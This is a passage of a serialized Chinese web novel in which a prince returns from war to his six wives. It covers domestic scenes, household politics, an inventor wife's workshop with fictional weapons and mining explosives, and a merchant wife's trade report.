“嘉许不嘉许的倒不打紧。”张俪将账册递给侍立一旁的丫鬟,走到自己的位置坐下,端起茶盏抿了一口,眼波流转,“只要他平平安安回来,多陪陪我们,便是最好。” “惜灵姐姐来了!”晴雯眼尖,指着门口。 楚惜灵在橙萱的搀扶下,缓步走入厅堂。 她依旧是一身靛蓝工装,只是外罩了一件素雅的月白披风,衬得脸色愈发苍白。 左臂吊在胸前,缠着厚厚的纱布,清冷的脸上带着一丝长途跋涉后的疲惫,但眼神依旧专注锐利。 橙萱小心翼翼地扶着她坐下,自己侍立一旁。 “惜灵伤势如何?”上官婉儿关切问道。 “无妨,余毒已清,静养即可。”楚惜灵声音清冷平静,目光扫过众人,“夫君何时到。” “快了,府门来报车驾已过朱雀大街。”上官婉儿道。 一时间,厅内安静下来。 六位女子,或端庄,或清冷,或明艳,或灵动,或温婉,或沉静,目光不约而同地投向厅外。 空气中弥漫着一种混合着期待、思念、紧张与甜蜜的复杂气息。久别重逢的喜悦,即将冲散离别的阴霾。 马蹄声由远及近,最终在府门前停歇。 沉重的朱漆大门缓缓开启。 林臻玄色身影出现在门口,阳光勾勒出他挺拔的身姿。 他目光深邃,扫过熟悉的庭院,最终落在正厅门口那几道翘首以盼的倩影上。 冰冷的眼眸深处,终于漾开一丝暖意。 “夫君!”晴雯第一个按捺不住,如同欢快的黄莺,提着裙摆飞奔而出,一头撞进林臻怀里,紧紧抱住他的腰身,小脸埋在他胸前,声音带着哭腔,“你终于回来了!想死晴儿了!” 林臻冷硬的唇角微微勾起,大掌轻轻抚过晴雯柔软的发顶,声音低沉而温和:“晴儿莫哭。夫君回来了。” “夫君……”浣碧紧随其后,温婉的脸上带着羞怯的红晕,盈盈一拜,声音细若蚊蚋,“浣碧给夫君请安。” “碧儿免礼。”林臻伸手扶起她,指尖拂过她微凉的手背。 “夫君。”月妩怀抱琵琶,莲步轻移,清冷的脸上绽开一抹浅笑,如同冰雪初融。 “妩儿。”林臻颔首,目光柔和。 “夫君。”张俪款款上前,明艳的脸上带着自信的笑容,将手中的账册递上,“北燕商路已通,俪儿幸不辱命。” “俪儿辛苦了。”林臻接过账册,随手递给身后亲随,目光落在她神采飞扬的脸上,“有俪儿在府中,无忧。” “夫君。”上官婉儿最后上前,端庄行礼,声音沉稳,“一路风尘辛苦了,妾身已备好香汤为夫君接风洗尘。” 林臻伸手虚扶,目光落在她沉静的眼眸深处。 最后,他的目光转向楚惜灵。 她依旧站在原地,清冷的脸上无波无澜,唯有那双专注的眼眸,静静地看着他。 左臂的吊带,格外刺眼。 “灵儿……”林臻声音低沉,带着一丝不易察觉的疼惜,大步走到她面前,“伤……可好些了。” “无妨。”楚惜灵声音平静,“夫君平安便好。” 橙萱连忙躬身:“殿下楚大人余毒已清,只需静养。” “嗯。”林臻深深看了楚惜灵一眼,目光扫过她苍白的脸和吊着的左臂,最终转向众人,“都进去吧。外面风大。” 栖霞苑主屋,暖阁。 巨大的紫铜浴盆中,热气氤氲,漂浮着名贵的香料和滋养的药材。 林臻闭目靠在盆沿,任由温热的水流包裹着疲惫的身躯。 北燕的风霜,仿佛在这一刻被缓缓洗去。 第739章 晴雯,别闹 屏风外,细碎的脚步声和轻柔的交谈声传来。 “婉儿姐姐,夫君的常服,备这套墨竹纹的可好?” “嗯……配那枚羊脂玉佩正好。” “惜灵姐姐,这药膏再敷一次吧……” “不必已无碍。” “晴雯,别闹,当心打翻水!” “嘻嘻……我给夫君擦背嘛……” 屏风被轻轻拉开一角。 晴雯探进小脑袋,灵动的大眼睛眨了眨,手里捧着一块柔软的棉巾:“夫君……晴儿来服侍您沐浴可好?” 林臻睁开眼,看着那张娇俏的小脸,唇角微勾:“进来吧。” 晴雯欢呼一声,像只灵巧的小猫般钻了进来,跪坐在浴盆边,用棉巾沾了温水,小心翼翼地擦拭着林臻宽阔的背脊。 她的动作轻柔而笨拙,带着少女特有的羞涩与好奇。 “夫君……北燕冷吗?” “冷。” “有狼吗?” “有。” “那您怕不怕?” “不怕。” “夫君真厉害!”晴雯眼中满是崇拜,小手无意识地在他背上画着圈圈,“下次带晴儿去好不好?” “胡闹。”林臻声音低沉,带着一丝宠溺,“北地凶险岂是儿戏。” “哦……”晴雯撅起嘴,随即又眼睛一亮,“那夫君给晴儿讲讲,您是怎么打败那个坏蛋顾北辰的!好不好?” “日后再讲。”林臻闭目,享受着难得的放松。 屏风外,又传来脚步声。 浣碧端着一盏温热的参汤,怯生生地走进来:“夫君,喝点参汤暖暖身子。” “嗯。”林臻接过玉盏,一饮而尽。参汤温热,带着一丝甘甜,暖流入腹。 “夫君……水温可还合适?”月妩清冷的声音传来,她并未进来,只是站在屏风外,怀抱琵琶。 “正好。”林臻应道。 “那……妾身为夫君抚一曲吧?这是妾身新学的。”月妩指尖轻拨,一曲清幽的《春江花月夜》流淌而出,如同潺潺溪水,洗涤着疲惫的心灵。 张俪的声音在账房方向隐约传来,似乎在吩咐管事什么,精明干练,带着不容置疑的权威。 上官婉儿则在外间指挥着侍女们准备晚膳,声音沉稳有序,井井有条。 楚惜灵安静地坐在窗边的软榻上,手中拿着一卷图纸,借着天光,专注地看着。橙萱在一旁小心地替她按摩着未受伤的右臂。 暖阁内,水汽氤氲,琴音袅袅,少女的娇嗔,温婉的关切,精明的低语,沉稳的指挥,以及那无声的专注……交织成一幅温馨而安宁的画卷。 林臻靠在浴盆中,感受着水流的热度,听着耳边的声响,冰冷坚硬的心房,仿佛被这久违的、属于家的温暖,一点点浸润、软化。 北燕的惊雷,京华的暗涌,在这一刻,都被暂时隔绝在外。 这里,是他的港湾,是他征战归来,唯一可以卸下所有防备的地方。 夜幕降临,栖霞苑正厅灯火通明。 巨大的紫檀圆桌上,摆满了珍馐美味。 林臻居中而坐,上官婉儿居右,楚惜灵居左。张俪、月妩、晴雯、浣碧依次而坐。橙萱侍立楚惜灵身后。 “夫君请用。”上官婉儿持箸,为林臻布菜,动作优雅得体。 “夫君尝尝这个!”晴雯迫不及待地夹起一块水晶肴肉,放到林臻碗里,“这是晴儿盯着厨房做的!可好吃了!” “夫君,北燕的羊肉可有京城的鲜美?”张俪笑问,眼波流转。 “夫君,喝汤。”浣碧细声细气地盛了一碗鸡汤,放到林臻面前。 “夫君……”月妩放下琵琶,端起酒杯,“月妩敬夫君一杯,愿夫君身体康泰,福泽绵长……” 楚惜灵安静地吃着,偶尔抬眼看看忙活来忙活去的林臻,清冷的眼眸中映着跳跃的烛火。 林臻的目光也时常落在她身上,带着一丝不易察觉的关切。 “灵儿多吃些。”林臻夹了一块清蒸鲈鱼,放到她碗里,“补补身子。” “谢夫君。”楚惜灵微微颔首,夹起鱼肉,小口吃着。 晚膳在温馨而略显安静的氛围中进行。 上官婉儿持重,楚惜灵沉静,张俪精明,月妩清冷,晴雯活泼,浣碧温婉。 六位夫人,性格迥异,却在这张圆桌上,围绕着同一个男人,形成一种奇异的和谐。 林臻的目光在她们脸上缓缓扫过,心中涌起一股复杂的情绪。 征战杀伐,权谋倾轧,所求为何? 或许……便是守护眼前这一方安宁,守护这些……将身心托付于他的女子。 夜深。 栖霞苑主卧。红烛高燃,锦帐低垂。空气中弥漫着淡淡的暖香。 林臻沐浴更衣,身着柔软的寝衣,靠在床头。 上官婉儿卸去钗环,乌发如瀑,仅着一身素白中衣,端坐在梳妆台前,梳理着长发。 烛光下,她端庄的侧脸柔和了许多。 “婉儿。”林臻声音低沉。 “夫君。”上官婉儿放下玉梳,起身走到床边,温顺地依偎进他怀里。 熟悉的龙涎香混合着男子特有的气息,让她紧绷的心弦彻底放松下来。 “持家不易,辛苦你了。”林臻揽住她纤细的腰肢,下巴轻轻抵着她的发顶。 “为夫君分忧是妾身本分。”上官婉儿声音轻柔,“妾身只盼夫君,平安顺遂。” “有婉儿儿在府中便是心安之处。”林臻低头,在她光洁的额上印下一吻。 “夫君……”上官婉儿抬起头,眼眸中水光潋滟,带着一丝羞涩与期盼,“夜深了……安歇吧……” 红烛摇曳,锦帐轻摇。低语呢喃,春宵苦短。 北燕的风霜,京华的暗涌,在这一刻,都被隔绝在温暖的锦帐之外。 唯有彼此的体温与气息,真实而熨帖。 接下来的几日,林臻仿佛卸下了所有重担,沉浸在这久违的温柔乡中。 清晨,他会在花园中练剑。 晴雯像只欢快的小鸟,在一旁叽叽喳喳,时而递上汗巾,时而学着比划两下,引得林臻莞尔。 浣碧则安静地坐在凉亭里,绣着帕子,偶尔抬头,温婉的目光追随着他的身影。 午后,他会在书房处理一些简单的公务。 张俪会带着账本进来,精明干练地汇报着商行事务,条理清晰,目光灼灼。 林臻偶尔指点一二,她便如获至宝,眼中闪烁着商人的敏锐光芒。 楚惜灵多在百工阁静养。 林臻每日必去探望。 有时只是静静地坐在一旁,看她专注地绘制图纸,或摆弄一些精巧的模型。 橙萱在一旁小心伺候。 林臻会询问她的伤势恢复情况,听她清冷地讲解一些关于“焚天雷”稳定剂民用转化的设想,如开山炸药配比改良、矿用爆破技术。 他并不多言,只是听着,目光落在她苍白却专注的侧脸上,带着一种无声的支持。 偶尔,他会亲自为她换药,动作笨拙却小心翼翼。 楚惜灵也不抗拒,清冷的眼眸深处,会掠过一丝极淡的暖意。 夜晚,则是属于不同的温柔。 他或宿在婉儿端庄持重的栖霞苑主屋,听她细说府中琐事,感受她沉稳下的柔情。 或去张俪明艳张扬的“金玉堂”,被她火热的热情点燃。或到月妩清冷幽静的“听雪楼”,在琴音月色中寻一份宁静。 或逗留在晴雯活泼灵动的“嬉春阁”,被她层出不穷的小把戏逗得开怀。 或歇在浣碧温婉可人的“碧波轩”,享受那份小家碧玉的体贴与依恋。 不同的称呼,不同的性情,却都带着同样的眷恋与依赖。 林臻沉溺其中,如同疲惫的旅人沉入温暖的泉水,洗去征尘,滋养身心。 他暂时放下了朝堂的纷争,放下了北燕的惊雷,放下了焚天雷的阴影,只做一个归家的丈夫,享受着这难得的、属于家的宁静与温馨。 第740章 只愿陪着夫君 栖霞苑的晨光,透过精雕细琢的窗棂,在紫檀木地板上投下斑驳的光影。 空气里弥漫着淡淡的檀香与清雅的兰草气息,混合着晨露的微凉,营造出一种肃穆而安宁的氛围。 上官婉儿已起身多时,乌发一丝不苟地绾成端庄的凌云髻,斜插一支点翠衔珠凤钗,身着藕荷色绣金凤纹宫装,端坐于梳妆台前。 铜镜中映出她沉静的容颜,眉如远山,目若秋水,薄施粉黛,唇点朱砂,端庄娴雅中透着一丝不易察觉的威严。 她正细细描画着眉梢,动作轻柔而精准,如同处理府中繁杂事务般一丝不苟。 “婉儿儿……”林臻的声音自身后传来,带着晨起的慵懒与一丝温和。 他已起身,身着月白色云锦常服,负手立于窗前,目光落在庭院中几株含苞待放的海棠上。 “夫君醒了。”上官婉儿放下眉笔,起身盈盈一礼,动作流畅优雅,“妾身伺候夫君更衣。” “不必。”林臻转身,走到她身边,目光落在她沉静的眼眸深处,“婉儿儿……昨夜可歇息好了。” “谢夫君挂怀,妾身安好。”上官婉儿垂眸,声音平稳无波,耳根却泛起一丝不易察觉的微红。 昨夜,他宿在栖霞苑主屋。 不同于晴雯的活泼、张俪的热烈,上官婉儿的温存如同静水深流,含蓄而绵长。 她持重守礼,却也并非不解风情,只是那份情意,深藏在端庄的仪态之下,需细细品味方能察觉。 “府中诸事辛苦婉儿儿了。”林臻抬手,指尖拂过她发间冰凉的凤钗珠翠,动作轻柔。 “分内之事,何谈辛苦。”上官婉儿微微侧身,避开他过于亲昵的触碰,脸上却无半分不悦,只道,“早膳已备好,在花厅。今日有夫君爱吃的‘蟹黄汤包’和‘鸡丝银芽粥’。” “嗯,还是你最懂我。”林臻颔首。 花厅内,红木圆桌上,碗碟精致,菜肴清淡可口。 林臻与上官婉儿相对而坐,安静地用着早膳。 没有晴雯的叽叽喳喳,没有张俪的谈笑风生,只有碗筷轻碰的细微声响和窗外偶尔传来的鸟鸣。 上官婉儿持箸布菜,动作优雅从容,先为林臻夹了一个汤包,又为他盛了半碗粥,最后才为自己添了些许小菜。 她进食无声,细嚼慢咽,姿态完美得如同宫廷画卷。 “婉儿儿……”林臻放下银箸,“下月宫中赏花宴筹备如何。” 上官婉儿也放下筷子,用丝帕轻拭唇角,“帖子已按品级名录发出。宴席菜单已拟定,呈请夫君过目。” 她示意侍立一旁的丫鬟递上一份素笺。 林臻接过,扫了一眼:“甚好。只是这水晶龙凤糕不行,嫣儿不喜甜腻,可换作‘茯苓八珍糕’。” “是。妾身疏忽了。”上官婉儿微微欠身,“即刻命膳房更改。” “宾客座次……” “按旧例亲王、郡王、公侯伯子男依序排列。女眷随夫家品级。然……”上官婉儿略一沉吟,“现在大乾晋升一位国公,还身染重病,其座次是否按照官职来定吧?” “婉儿儿思虑周全。”林臻眼中闪过一丝赞许,“空出便是,另备一份素礼遣人送去以示抚慰。” “妾身明白。”上官婉儿应道。 林臻端起茶盏,轻抿一口。 上官婉儿神色微凝,声音压低几分:“夫君,前日户部李侍郎夫人来访言语间多有试探,问及北燕战事及焚天雷之事。妾身只以妇道人家,不问外事推脱了。” “李侍郎……”林臻指尖在桌面上轻轻敲击,“呵,他算什么东西,估计是嫣儿派来打听到。” “不仅如此,昨日宫中尚衣局送来春裳料子比去年厚了三成。”上官婉儿继续道,“送料子的内侍言语恭敬,却眼神闪烁。” “厚赏必有求。”林臻声音平静,“婉儿儿如何应对。” “妾身照单全收,另封了双倍赏银打发了。”上官婉儿道,“料子已入库。如何处置请夫君示下。” “你处置的很好。”林臻颔首,“料子分给各院,多做几身便是了,不用多想” “是。”上官婉儿应道,随即又道,“还有一事。有位酋长遣子送来一份厚,言是贺夫君北燕大捷。礼单在此。”她递上另一份素笺。 林臻扫过礼单:东珠十斛,紫貂皮五十张,百年老参二十支,西域宝马十匹,价值不菲。 林臻嘴角勾起一丝冰冷的弧度,“婉儿儿以为如何。” “无功不受禄。且风隼部此前多有反复。”上官婉儿声音清冷,“妾身已婉拒。言夫君有令,外臣之礼一概不收。贺礼已原封不动退回。” “婉儿儿深得我心。”林臻眼中笑意加深。 “妾身愚钝。只知谨守本分,不授人以柄。”上官婉儿垂眸。 “这便是最大的智慧。”林臻伸手,越过桌面,轻轻覆上她放在膝上的手。 她的手微凉,指节纤细,掌心却带着一丝薄茧(常年执笔管家所致)。 上官婉儿身体微微一僵,却没有抽回手,只是耳根的红晕更深了些。 “夫君谬赞了呢。” 午后,栖霞苑书房。 林臻并未处理公务,而是斜倚在窗边的软榻上,闭目养神。 上官婉儿端坐于书案后,面前摊开一本厚厚的《王府内务纪要》,手持朱笔,仔细批阅着。阳光透过窗棂,洒在她沉静的侧脸上,勾勒出柔和的轮廓。 室内静谧,唯有朱笔划过纸页的沙沙声,以及更漏滴答的轻响。 “婉儿,”林臻睁开眼,目光落在她专注的侧影上。 “夫君。”上官婉儿停下笔,抬眸望来。 “陪为夫手谈一局如何。”林臻指向角落的紫檀木棋盘。 “好。”上官婉儿放下朱笔,起身走到棋盘旁,跪坐于蒲团之上。黑白玉石棋子温润生光。 林臻执黑先行,落子天元。上官婉儿执白,落子星位。 两人棋风迥异。林臻落子如风,大开大合,攻势凌厉,如同战场搏杀。上官婉儿则沉稳内敛,步步为营,防守滴水不漏,偶有反击,亦是绵里藏针。 棋盘之上,黑白交织,杀机暗藏。 “婉儿儿棋力愈发精进了。”林臻落下一子,封住白棋一条大龙。 “夫君谬赞。”上官婉儿神色不变,纤指拈起一枚白子,轻轻落下,看似无关紧要,却悄然化解了黑棋的攻势,“妾身,只是守拙罢了。” “守拙亦是大道。”林臻目光深邃,“如同这王府看似平静实则暗流涌动。婉儿便是那定海神针。” “夫君言重了。”上官婉儿微微摇头,“妾身只是尽本分。府内安宁皆赖夫君威德。” “威德……”林臻落下一子,声音低沉,“威可慑宵小,德需日积月累,婉儿持家有方便是为夫最大的德。” 上官婉儿执子的手微微一顿,清冷的眼眸中泛起一丝涟漪。 她沉默片刻,落下一子:“夫君……此局和了。” 林臻低头看去,果然,棋盘上黑白交错,势均力敌,已成和局。 “和局甚好。”林臻抬眸,看向她,“如同这府中有婉儿在,便是和局。” 上官婉儿垂眸,避开他灼灼的目光,脸颊微红:“夫君该用午膳了。” 晚膳后,栖霞苑暖阁。 红烛高燃,暖香浮动。上官婉儿卸去钗环,乌发如瀑,仅着一身素白中衣,跪坐在软榻上,为林臻轻轻揉捏着肩颈。 她的手法并不十分娴熟,力道却恰到好处,带着一种小心翼翼的温柔。 “婉儿……”林臻闭目,感受着她指尖的微凉与力度。 “嗯?”上官婉儿轻声应道。 “这两年辛苦你了。”林臻声音低沉,“王府树大招风。府内府外皆需你劳心劳力。” “为夫君分忧是妾身本分。”上官婉儿声音轻柔,“只愿夫君平安,府中安宁。” “安宁……”林臻睁开眼,握住她放在自己肩上的手,“婉儿儿可知这安宁来之不易。北燕一行为夫手上又添了多少血债。” 上官婉儿身体微微一颤,反手握紧他的手,声音带着一丝不易察觉的疼惜:“夫君是为国征战,为民除害。顾北辰罪有应得。那些非是血债,是功勋。” “功勋……”林臻苦笑,“功勋背后亦是累累白骨,你可曾怕过为夫?” 上官婉儿抬起头,沉静的眼眸直视着他,目光清澈而坚定:“夫君在婉儿心中永远是那个无敌的少年郎。无论夫君手中沾染多少鲜血,婉儿只知夫君所做一切皆是为守护该守护之人。婉儿不怕。婉儿只心疼夫君,肩上担子太重。” 林臻心头一震,将她揽入怀中。 上官婉儿温顺地依偎着,脸颊贴在他坚实的胸膛上,听着他沉稳的心跳。 这一刻,她不再是那个端庄持重的正妃,只是一个心疼丈夫的妻子。 “有婉儿在为夫便觉心安。”林臻低沉的声音在她头顶响起。 “婉儿会一直陪着夫君。”上官婉儿轻声呢喃。 夜深。 锦帐低垂。 上官婉儿已沉沉睡去,呼吸均匀。 林臻却了无睡意,借着窗外透入的微光,凝视着她沉静的睡颜。 白日里的端庄持重褪去,睡梦中的她,眉宇间带着一丝不易察觉的柔弱与依赖。 他想起她白日里处理府务的干练,应对试探的沉稳,棋盘上的绵里藏针,以及方才那句“只心疼夫君”的温软话语。 她是他的正妃,是他的贤内助,是他风雨飘摇时最坚实的后盾,也是他内心深处最柔软的港湾。 他轻轻拂开她额前一缕碎发,指尖划过她光洁的脸颊。 窗外,月色如水。京华的暗流在夜色中涌动,但此刻,在这方温暖的锦帐之内,唯有彼此的呼吸与心跳,真实而安宁。 他闭上眼,将她拥得更紧了些。 第741章 筹建物理学院 百工阁内,弥漫着一种与栖霞苑其他地方截然不同的气息。 檀香与兰草香被浓烈的金属、矿石、硫磺、硝石以及各种化学制剂混合的复杂气味所取代。 空气干燥而微带粉尘,光线透过高窗,在布满工具与零件的工作台上投下清晰的光柱。 这里没有莺声燕语,没有丝竹管弦,只有金属的碰撞声、器皿的摩擦声、火焰的燃烧声,以及一种近乎凝滞的专注氛围。 楚惜灵端坐于一张宽大的紫檀木工作台前。 靛蓝工装纤尘不染,左臂的纱布已拆,只余一道淡粉色的疤痕蜿蜒在白皙的皮肤上,如同一条沉睡的幼蛇。 她乌发简单地绾在脑后,用一根银簪固定,露出光洁的额头和清冷的侧脸。 琉璃护目镜片后,那双专注的眼眸锐利如鹰隼,正透过一架特制的、带有螺旋调节旋钮的铜制放大镜,仔细观察着掌心一枚米粒大小、闪烁着幽蓝光泽的晶体。 “折射率1.76,硬度9,熔点极高……”她低声自语,声音清冷平静,如同在陈述一个与己无关的事实。 指尖捏着一根特制的钨钢探针,在晶体表面极其轻微地划过,留下一条几乎不可见的痕迹。 “杂质含量低于万分之三,符合聚焦透镜要求。” 她放下放大镜和晶体,拿起炭笔,在一张铺开的、绘满复杂几何图形和公式的羊皮纸上快速记录下数据。 图纸上,标注着“高精度瞄准镜核心元件参数”。 “灵儿……”林臻的声音自门口传来。 他并未着常服,而是一身玄色劲装,外罩同色薄氅,显然刚从演武场过来,身上还带着一丝未散的汗意与铁血气息。 楚惜灵并未抬头,只是应了一声:“夫君。” 指尖依旧在图纸上快速勾勒。 林臻走到工作台旁,目光扫过台面上琳琅满目的物品:精密的游标卡尺、各种型号的锉刀刻刀、盛放着五颜六色粉末的琉璃瓶、几块形状奇特的金属锭、还有那个刚刚被她放下的、闪烁着幽蓝光泽的晶体。 “此物便是金刚石?”林臻拿起那枚晶体,入手冰凉坚硬。 “是。”楚惜灵终于停笔,抬眸看向他,“产自黑石山矿脉深处,极稀极硬。可研磨切割,亦可聚光。” “聚光?”林臻挑眉。 “嗯。”楚惜灵指向图纸上一个复杂的透镜组结构,“掷弹筒射程已至三百步。然精度受风力、目测误差影响仍不足。若加装此瞄准镜以金刚石为透镜核心,辅以精铜镜筒,刻度标尺可大幅提升首发命中率。” “你是说将焚天雷用于精准狙杀?”林臻目光微凝。 “非也。”楚惜灵摇头,“此镜亦可用于远程观测,测绘地形,改良火枪乃至民用勘探,开凿隧道皆可。”她顿了顿,清冷的眼眸中闪过一丝微光,“杀戮非其本意。精准方为利器之魂。” 林臻沉默片刻,放下金刚石:“果然,还得是你。” “分内之事。”楚惜灵垂下眼睑,继续在图纸上标注。 “伤势可还疼痛?”林臻目光落在她左臂的疤痕上。 “偶有隐痛,无碍。”楚惜灵声音平静,指尖无意识地拂过那道疤痕。 “橙萱……”林臻看向侍立一旁的橙萱。 “在!”橙萱连忙应道,“夫人每日按时服药,药浴,针灸不曾间断,军医说恢复已是极好。” “嗯。”林臻颔首,目光转向工作台另一端,那里摆放着几个特制的双层铅盒,“稳定剂民用转化进展如何。” 楚惜灵放下炭笔,走到铅盒旁,打开其中一个。 盒内并非焚天雷原型弹,而是几块形状不规则、表面粗糙的黑色块状物。 “硅藻土-三号稳定剂混合硝化甘油,配比七三。撞击感度降至千分之一,可塑性增强。此物用于矿山爆破,开山碎石,效率提升五倍。安全提升十倍。” 她又打开另一个铅盒,里面是粉末状混合物,“此乃缓释型配方。遇水缓慢释放能量,可用于松动冻土,开凿运河,不伤根基。” “甚好。”林臻眼中精光一闪,“工部对此可有兴趣。” “工部尚书三日前曾遣人旁敲侧击。”楚惜灵声音清冷,“言什么国之重器当慎用,然民生所需亦不可废弛。” “宋正林这老狐狸……”林臻嘴角勾起一丝冷笑,“灵儿如何应对。” “妾身只言此乃殿下之令,一切待殿下定夺。”楚惜灵道。 “灵儿应对得体。”林臻赞许道,“此物利国利民,配方不可轻授,可由焚雷司专营生产。工部按需采购,利润三成归府库,七成投入格物院继续研发。” “妾身明白。”楚惜灵应道。 “你的格物院筹建如何。”林臻问。 “选址西山观星台旧址,图纸已毕,需银钱五万两,工匠百人。通晓格物、算学、匠作之才至少十人。”楚惜灵语速清晰。 “准。”林臻毫不犹豫,“银钱找俪儿支取,工匠找工部调拨,人才着吏部张榜招募。凡有真才实学者,不拘出身,厚待之。” “谢夫君。”楚惜灵清冷的眼眸中闪过一丝不易察觉的亮光。 “灵儿陪为夫走走。”林臻忽然道。 楚惜灵微微一怔,随即点头:“好。” 两人走出百工阁,沿着回廊缓步而行。 春日暖阳洒在身上,驱散了工坊内的微寒与粉尘气。 楚惜灵习惯性地落后林臻半步,目光却不由自主地落在庭院中抽芽的草木上。 “灵儿看这海棠,开得甚好。”林臻停在一株海棠树下。 楚惜灵抬头望去,枝头花苞点点,粉白相间,在阳光下娇嫩欲滴。 “嗯……是很好。”她声音依旧平静。 “南楚也有海棠吗?”林臻问。 “有,南麓有一片野海棠,花开时漫山遍野。”楚惜灵道,“只是不及此株名贵。” “名贵与否,花开皆是美景。”林臻折下一支含苞待放的海棠,递给她,“赠予灵儿。” 楚惜灵看着递到眼前的花枝,清冷的脸上闪过一丝错愕,随即化为一丝极淡的、几乎无法察觉的涟漪。 她迟疑片刻,伸手接过:“谢夫君。” “灵儿可知为何将此花赠你。”林臻看着她。 楚惜灵握着花枝,指尖传来微凉的触感,花瓣柔软娇嫩。 她沉默片刻,低声道:“妾身不知。” “海棠无香。”林臻目光深邃,“然其色清丽脱俗,其质坚韧耐寒,不争春不夺艳,默默绽放,自成一景。如同灵儿心无旁骛,匠心独运,于无声处铸惊雷。” 楚惜灵握着花枝的手微微一紧,清冷的眼眸低垂,长长的睫毛在眼下投下一小片阴影。 她没有说话,只是将那支海棠,小心翼翼地拢在袖中。 “走吧。”林臻转身,继续前行。 楚惜灵默默跟上,袖中的海棠花瓣,轻轻蹭着她的手腕,带来一丝微痒的触感。 她看着前方那道挺拔的玄色背影,清冷的眼眸深处,仿佛有什么东西,正悄然融化。 北燕的风雪,断魂崖的硝烟,焚天雷的轰鸣……在这一刻,似乎都远去了。 唯有手中这枝无香的海棠,和前方那个赠花的人,真实而温暖。 ...... 栖霞苑东侧,“金玉堂”的气象与苑内其他院落截然不同。 少了栖霞苑的庄重、百工阁的沉静、听雪楼的清幽、嬉春阁的活泼、碧波轩的温婉,这里处处透着一种明快而热烈的富贵气息。 庭院中,几株名贵的西府海棠开得正盛,粉白的花朵累累压枝,在阳光下娇艳欲滴。 回廊下,悬挂着精巧的琉璃风铃,微风拂过,发出清脆悦耳的叮咚声。 空气中弥漫着浓郁的玫瑰香氛,混合着新煮的雨前龙井的清香,以及一丝若有若无的、来自库房深处名贵木料的檀香。 张俪一身石榴红遍地金妆花缎褙子,下着同色绣缠枝莲纹马面裙,云鬓堆鸦,斜插一支赤金点翠嵌红宝石步摇,随着她风风火火的步伐摇曳生姿,折射出璀璨的光芒。 明艳照人的脸上,一双丹凤眼顾盼神飞,精明锐利,如同最精准的算盘珠子,时刻盘算着利益得失。 此刻,她正站在“金玉堂”正厅中央,指挥着几名管事丫鬟布置着新到的货物。 “小心些!这南海珊瑚树可是稀罕物!磕碰一点把你们卖了都赔不起!”张俪声音清脆爽利,带着不容置疑的权威,“摆到东边博古架最上层!对!就那儿!把那对钧窑天青釉梅挪到下面!” “是!夫人!”管事丫鬟们连声应诺,动作麻利。 “还有这‘苏绣双面屏风’……展开!对!让开点!别挡光!看看这针脚!这配色!啧啧……这才是上品!”张俪指尖拂过光滑的缎面,眼中闪烁着满意的光芒,“抬到内室去!就放在我那紫檀木拔步床旁边!” “俪儿……” 第742章 要个奖励 林臻的声音自门口传来。他今日未着常服,而是一身玄色暗云纹锦袍,腰束玉带,负手而立,唇角噙着一丝若有若无的笑意,看着厅中忙碌的景象。 “夫君!”张俪闻声转身,明艳的脸上瞬间绽开灿烂的笑容,如同盛放的牡丹。 她快步迎上,裙裾翻飞,步摇轻颤,“您可算来了,快看看,俪儿新淘换的宝贝,这珊瑚树可是从珍宝阁花了三千两银子抢来的,还有这屏风苏杭记的镇店之宝!俪儿磨了那老掌柜三天三夜!才肯割爱!” “俪儿,眼光向来独到。”林臻步入厅中,目光扫过琳琅满目的珍玩,“只是这‘金玉堂’快成聚宝阁了。” “嘻嘻,夫君说笑了。”张俪挽住他的手臂,亲昵地靠在他身侧,“俪儿,这不是为咱们府上增光添彩嘛,再说了……”她眼波流转,带着一丝狡黠, “这些东西摆着好看,关键时刻也能变现应急不是?” “俪儿深谋远虑。”林臻失笑,指尖拂过她发间冰凉的步摇,“北燕商路进展如何。” “正要向夫君禀报呢!”张俪精神一振,拉着林臻走到偏厅的紫檀木大书案前。 案上摊开数本厚厚的账册,算盘、笔墨、镇纸一应俱全。 “夫君请看!”她翻开一本账册,指尖点着一行行墨迹未干的数字,“黑石山煤矿专营权已正式签契,首期开采权十年!汇通号让利三成,仅此一项明年府库进项至少这个数!” 她伸出三根涂着蔻丹的手指。 “三十万两?”林臻挑眉。 “白银!”张俪得意地扬起下巴,“这还是保守估计,若开采顺利,销路畅通,翻倍也不是不可能!” “善。”林臻颔首,“俪儿功不可没。” “还有呢!”张俪又翻开另一本账册,“北燕煤已打通漕运和陆运两条线。漕运走永定河-大运河直达江南。陆运经雁门关销往漠北。价格比京畿市价高出两成。且供不应求!” “漠北……”林臻目光微凝,“柔然……高昌……” “夫君放心!”张俪眼中精光一闪,“漠北销路只限互市,且严控数量,每一车煤都有绣衣卫暗哨随行,买家皆登记在册,凡有资敌嫌疑者,一粒煤渣也休想流出!” “这还差不多。”林臻赞许道。 “还有……”张俪压低声音,带着一丝神秘,“焚雷司那边灵儿姐姐研制的开山炸药,样品俪儿已拿到,试用效果极佳!西山采石场的管事当场拍板,签了五年独家供货契,价格是普通火药的五倍!” “五倍?”林臻微微挑眉。 “物有所值!”张俪正色道,“效率提升十倍不止,安全更有保障,省下的人工、时间……远超这五倍差价,俪儿还打算在江南开凿新运河的工程上推广此物,若能拿下又是一笔大买卖!” “俪儿是打算把焚天雷变成聚宝盆?”林臻眼中带着笑意。 “有何不可?”张俪理直气壮,“利器能杀人,亦能造福!灵儿姐姐化杀器为利器,俪儿便化利器为财源,夫君,您说是不是这个理?” “是。”林臻点头,“然此物敏感,推广需谨慎。” “俪儿明白!”张俪应道,“只与朝廷工部及有信誉的大商行合作,配方绝不外泄。生产由焚雷司专控,俪儿只负责销售渠道。” “嗯。”林臻颔首,“俪儿分寸拿捏甚好。” “夫君……”张俪眼波流转,带着一丝撒娇的意味,“俪儿为府中赚了这么多银子夫君可有奖励?” “俪儿想要何奖励?”林臻反问。 “嗯……”张俪歪着头,故作思索状,“要夫君陪俪儿去‘汇通号’总号谈一笔大买卖!” “哦?”林臻挑眉,“何买卖?” “江南丝路明年要扩线!”张俪眼中闪烁着商人的锐光,“汇通号想独占苏杭绸缎北运的七成份额,胃口不小,俪儿想压压他们的价,顺便让他们让出‘漠北皮货’南销的两成利!有夫君这尊神坐镇,谅那钱老狐狸不敢不低头!” “俪儿是要拿为夫当‘门神’?”林臻失笑。 “夫君是俪儿的‘定海神针’!”张俪挽紧他的手臂,巧笑嫣然,“有您在,俪儿底气十足!” 午后,“汇通号”总号。 位于帝京最繁华的朱雀大街,三层高的朱漆门楼气派非凡,鎏金匾额在阳光下熠熠生辉。 